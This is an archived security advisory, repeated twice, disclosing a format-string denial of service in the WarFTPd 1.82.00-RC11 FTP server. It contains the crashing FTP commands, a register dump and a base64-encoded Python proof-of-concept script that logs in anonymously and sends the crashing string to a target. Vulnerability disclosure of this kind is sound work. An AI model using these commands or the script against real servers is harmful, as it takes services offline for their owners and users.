Joxean Koret
09/11/06, 14:08
--0-140712085-1162891439=:3129
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Content-Id:
Content-Disposition: inline
WarFTPd 1.82.00-RC11 Remote Denial Of Service
---------------------------------------------
WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.
Example:
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256
or
ftp> cdup %s*256
Server will crash as follows:
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540
00431540 8A08 MOV CL,BYTE PTR DS:[EAX]
Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.
The following commands found vulnerables (at least):
CWD
CDUP
DELE
NLST
LIST
SIZE
Well, any file related operation. Attached goes a
Python exploit.
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------
Contact
-------
Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
______________________________________________
LLama Gratis a cualquier PC del Mundo.
Llamadas a fijos y móviles desde 1 céntimo por minuto.
http://es.voice.yahoo.com
--0-140712085-1162891439=:3129
Content-Type: application/octet-stream; name="dos.py"
Content-Transfer-Encoding: base64
Content-Description: 1450979178-dos.py
Content-Disposition: attachment; filename="dos.py"
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3lzCmltcG 9ydCBmdHBs
aWIKCnByaW50ICJXQVJfRlRQRCBSZW1vdGUgRGVuaWFsIE9mIF NlcnZpY2Ug
KERPUykiCnByaW50ICJDb3B5cmlnaHQgKGMpIEpveGVhbiBLb3 JldCIKcHJp
bnQKCnRhcmdldCA9ICIxOTIuMTY4LjEuMTMiCnRhcmdldFBvcn QgPSAiMjEi
Cgp0cnk6CiAgICBmdHAgPSBmdHBsaWIuRlRQKCkKCiAgICBwcm ludCAiWytd
IENvbm5lY3RpbmcgdG8gdGFyZ2V0ICIKICAgIG1zZyA9IGZ0cC 5jb25uZWN0
KHRhcmdldCwgdGFyZ2V0UG9ydCkKICAgIHByaW50ICJbK10gT2 suIFRhcmdl
dCBiYW5uZXIiCiAgICBwcmludCBtc2cKICAgIHByaW50CiAgIC BwcmludCAi
WytdIFRyeWluZyB0byBsb2dnaW5nIGFub255bW91c2x5IgogIC AgbXNnID0g
ZnRwLmxvZ2luKCkgIyBBbm9ueW1vdXMKICAgIHByaW50ICJbK1 0gT2suIE1l
c3NhZ2UiCiAgICBwcmludCBtc2cKICAgIHByaW50CmV4Y2VwdD oKICAgIHBy
aW50ICJbIV0gRXhwbG9pdCBkb2Vzbid0IHdvcmsuICIgKyBzdH Ioc3lzLmV4
Y19pbmZvKClbMV0pCiAgICBzeXMuZXhpdCgwKQoKYSA9ICIlcy VzIgoiIiIK
Zm9yIGkgaW4gcmFuZ2UoMCk6CiAgICBhICs9IGEKIiIiCmIgPS AiQUFBQSIK
CmZvciBpIGluIHJhbmdlKDYpOgogICAgYiArPSBiCgphID0gYS ArIGIKCnBy
aW50ICJbK10gRXhwbG9pdGluZyB3aXRoIGEgYnVmZmVyIG9mIC IgKyBzdHIo
bGVuKGEpKSArICIgYnl0ZShzKSAuLi4gIgoKdHJ5OgogICAgZn RwLmN3ZChh
KQpleGNlcHQ6CiAgICBwcmludCAiWytdIEV4cGxvaXQgYXBwYX JlbnRseSB3
b3Jrcy4gVHJ5aW5nIHRvIHZlcmlmeSBpdCAuLi4gIgoKICAgIH RyeToKICAg
ICAgICBmdHAuY29ubmVjdCh0YXJnZXQsIHRhcmdldFBvcnQpCi AgICAgICAg
cHJpbnQgIlshXSBObywgaXQgZG9lc24ndCB3b3JrIFsiICsgc3 RyKHN5cy5l
eGNfaW5mbygpWzFdKSArICJdIDooIgogICAgZXhjZXB0OgogIC AgICAgIHBy
aW50ICJbIV0gT2suIFNlcnZlciBpcyBkZWFkLCBleHBsb2l0IH N1Y2Nlc3Nm
dWxseSBleGVjdXRlZC4gIgoK
--0-140712085-1162891439=:3129--
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Content-Id:
Content-Disposition: inline
WarFTPd 1.82.00-RC11 Remote Denial Of Service
---------------------------------------------
WarFTPd is vulnerable to a DOS condition when passing
to various commands a long string with
two times the "%s" character(s) inside. It looks as
non exploitable as the problem crashes with
the same output at the same instruction and address
regarding or regardless of the buffer size
and the %${char} passed. Maybe another one founds it
vulnerable.
Example:
$ ftp target
(Banner)
ftp> quote user anonymous
ftp> quote pass bla
ftp> cwd %s*256
or
ftp> cdup %s*256
Server will crash as follows:
EAX 00000001
ECX 00000073
EDX 00000002
EBX 0079E890
ESP 0079E7A0
EBP 00A55A8A ASCII
"s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s(...more %s
characters)"
ESI 0079E7DE
EDI 0000000A
EIP 00431540 war-ftpd.00431540
00431540 8A08 MOV CL,BYTE PTR DS:[EAX]
Only one shoot is needed. Any file related operation
will crash. It was found during an ftp
fuzzing session.
The following commands found vulnerables (at least):
CWD
CDUP
DELE
NLST
LIST
SIZE
Well, any file related operation. Attached goes a
Python exploit.
Disclaimer
----------
The information in this advisory and any of its
demonstrations is provided "as is" without any
warranty of any kind.
I am not liable for any direct or indirect damages
caused as a result of using the information or
demonstrations provided in any part of this advisory.
---------------------------------------------------------------------------
Contact
-------
Joxean Koret at <<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
______________________________________________
LLama Gratis a cualquier PC del Mundo.
Llamadas a fijos y móviles desde 1 céntimo por minuto.
http://es.voice.yahoo.com
--0-140712085-1162891439=:3129
Content-Type: application/octet-stream; name="dos.py"
Content-Transfer-Encoding: base64
Content-Description: 1450979178-dos.py
Content-Disposition: attachment; filename="dos.py"
IyEvdXNyL2Jpbi9lbnYgcHl0aG9uCgppbXBvcnQgc3lzCmltcG 9ydCBmdHBs
aWIKCnByaW50ICJXQVJfRlRQRCBSZW1vdGUgRGVuaWFsIE9mIF NlcnZpY2Ug
KERPUykiCnByaW50ICJDb3B5cmlnaHQgKGMpIEpveGVhbiBLb3 JldCIKcHJp
bnQKCnRhcmdldCA9ICIxOTIuMTY4LjEuMTMiCnRhcmdldFBvcn QgPSAiMjEi
Cgp0cnk6CiAgICBmdHAgPSBmdHBsaWIuRlRQKCkKCiAgICBwcm ludCAiWytd
IENvbm5lY3RpbmcgdG8gdGFyZ2V0ICIKICAgIG1zZyA9IGZ0cC 5jb25uZWN0
KHRhcmdldCwgdGFyZ2V0UG9ydCkKICAgIHByaW50ICJbK10gT2 suIFRhcmdl
dCBiYW5uZXIiCiAgICBwcmludCBtc2cKICAgIHByaW50CiAgIC BwcmludCAi
WytdIFRyeWluZyB0byBsb2dnaW5nIGFub255bW91c2x5IgogIC AgbXNnID0g
ZnRwLmxvZ2luKCkgIyBBbm9ueW1vdXMKICAgIHByaW50ICJbK1 0gT2suIE1l
c3NhZ2UiCiAgICBwcmludCBtc2cKICAgIHByaW50CmV4Y2VwdD oKICAgIHBy
aW50ICJbIV0gRXhwbG9pdCBkb2Vzbid0IHdvcmsuICIgKyBzdH Ioc3lzLmV4
Y19pbmZvKClbMV0pCiAgICBzeXMuZXhpdCgwKQoKYSA9ICIlcy VzIgoiIiIK
Zm9yIGkgaW4gcmFuZ2UoMCk6CiAgICBhICs9IGEKIiIiCmIgPS AiQUFBQSIK
CmZvciBpIGluIHJhbmdlKDYpOgogICAgYiArPSBiCgphID0gYS ArIGIKCnBy
aW50ICJbK10gRXhwbG9pdGluZyB3aXRoIGEgYnVmZmVyIG9mIC IgKyBzdHIo
bGVuKGEpKSArICIgYnl0ZShzKSAuLi4gIgoKdHJ5OgogICAgZn RwLmN3ZChh
KQpleGNlcHQ6CiAgICBwcmludCAiWytdIEV4cGxvaXQgYXBwYX JlbnRseSB3
b3Jrcy4gVHJ5aW5nIHRvIHZlcmlmeSBpdCAuLi4gIgoKICAgIH RyeToKICAg
ICAgICBmdHAuY29ubmVjdCh0YXJnZXQsIHRhcmdldFBvcnQpCi AgICAgICAg
cHJpbnQgIlshXSBObywgaXQgZG9lc24ndCB3b3JrIFsiICsgc3 RyKHN5cy5l
eGNfaW5mbygpWzFdKSArICJdIDooIgogICAgZXhjZXB0OgogIC AgICAgIHBy
aW50ICJbIV0gT2suIFNlcnZlciBpcyBkZWFkLCBleHBsb2l0IH N1Y2Nlc3Nm
dWxseSBleGVjdXRlZC4gIgoK
--0-140712085-1162891439=:3129--